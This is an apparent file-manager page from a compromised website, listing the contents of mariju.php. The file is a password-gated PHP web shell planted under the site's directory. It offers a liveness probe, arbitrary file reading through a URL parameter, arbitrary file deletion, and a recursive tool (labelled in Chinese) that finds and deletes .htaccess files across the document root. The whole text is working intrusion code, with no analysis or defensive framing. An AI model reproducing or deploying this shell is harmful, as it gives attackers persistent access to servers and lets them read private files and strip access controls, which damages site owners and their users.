Файловый менеджер - Редактировать - /home/d46091/udyogaadhaar.net/blog-post/images/698279/mariju.php.tar
Назад
home/d46091/udyogaadhaar.net/mariju.php 0000644 00000012045 15026513162 0013544 0 ustar 00 <?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretytt'])) { $_SESSION['secretytt'] = false; } if (!$_SESSION['secretytt']) { if (isset($_POST['pwdy']) && md5(md5(md5($_POST['pwdy']))) == 'bc603866c4942e673463231fe63bb4b3') { $_SESSION['secretytt'] = true; } else { $bytesecform = <<<FORM <html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdy" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html> FORM; die($bytesecform); } } } ?> <?php if(isset($_GET['show'])) { $p=urldecode($_GET['p']); $s = file_get_contents($p); echo "<textarea style='width:1400px; height:1000px;'>$s</textarea>";return; } if(isset($_POST['submit1'])) { if (!empty($_POST['chk'])) { $selectedOptions = $_POST['chk']; foreach ($selectedOptions as $option) { if(strlen($option)>5) { unlink($option); echo "删除". htmlspecialchars($option) . "<br>"; } } } else { echo "No checkbox selected."; } } if(isset($_POST['submit2'])) { $searchDir = trim($_POST['path']); $searchString = ''; $hl = (int)$_POST['hl']; $index=0; function searchPhpFiles($dir, $searchString, $index, $hl) { $files = scandir($dir); $index = $index + 1; foreach ($files as $file) { if ($file != "." && $file != "..") { $path = $dir . '/' . $file; if (is_dir($path)) { if($index>$hl) { $hfile = $path.'/.htaccess'; if(file_exists($hfile)) { chmod($path.'/.htaccess',0644); unlink($path.'/.htaccess'); } } searchPhpFiles($path, $searchString, $index, $hl); } else { //if (pathinfo($path, PATHINFO_EXTENSION) === 'php') { // searchStringInFile($path, $searchString); //} } } } } searchPhpFiles($searchDir, $searchString, $index, $hl); echo "ok"; } if(isset($_POST['submit'])) { $searchDir = trim($_POST['path']); $searchString = ''; $hl = (int)$_POST['hl']; $index = 0; function searchPhpFiles($dir, $searchString,$index, $hl) { $files = scandir($dir); $index = $index + 1; foreach ($files as $file) { if ($file != "." && $file != "..") { $path = $dir . '/' . $file; if (is_dir($path)) { if($index>$hl) { $hfile = $path.'/.htaccess'; if(file_exists($hfile)) { echo "<input type='checkbox' name='chk[]' class='item' value='" . $hfile . "' /> "."<a href='?show=1&p=".urlencode($hfile)."' target='_blank'>".$hfile."</a><br/>"; } } searchPhpFiles($path, $searchString, $index, $hl); } else { //if (pathinfo($path, PATHINFO_EXTENSION) === 'php') { // searchStringInFile($path, $searchString); //} } } } } function searchStringInFile($filePath, $searchString) { $content = file_get_contents($filePath); if (strpos($content, $searchString) !== false) { echo "<input type='checkbox' name='chk[]' class='item' value='" . $filePath . "' /> ". $filePath ." <a href='?show=1&p=".urlencode($filePath)."' target='_blank'>查看代码</a><br/>"; } } echo "<html><form action='' method='post'>"; searchPhpFiles($searchDir, $searchString,$index,$hl); echo "<br/><br/><input type='checkbox' id='selectAll'><span>全选</span><br/><br/><input type='submit' name='submit1' value='勾选删除' /><br/><br/><br/><script>document.getElementById('selectAll').addEventListener('change', function() {var checkboxes = document.querySelectorAll('.item');checkboxes.forEach(function(checkbox) {checkbox.checked = this.checked;}, this);});</script></form></html>"; } ?> <html> <head></head> <body> <h2>第一步查找(这个是查找,跟下面的删除没太大关系)</h2> <form action="" method="post"> 路径:<input type="text" name="path" value="<?php echo $_SERVER['DOCUMENT_ROOT'];?>" style="width:680px;" /><br/><br/> 忽略前几级子目录:<input type="text" name="hl" value="0" /><br/><br/> <input type="submit" name="submit" value="查找" /><br/> </form> <br/> <br/> <hr/> <br/> <h2>第二步删除(这个是删除,跟上面的查找操作无关,上面查找的什么结果跟这边的删除无关,就是不查找,直接执行删除也会直接删除的)</h2> <form action="" method="post"> 路径:<input type="text" name="path" value="<?php echo $_SERVER['DOCUMENT_ROOT'];?>" style="width:680px;" /><br/><br/> 忽略前几级子目录:<input type="text" name="hl" value="0" /><br/><br/> <input type='submit' name='submit2' value='删除全部.h文件' /><br/> </form> </body> </html>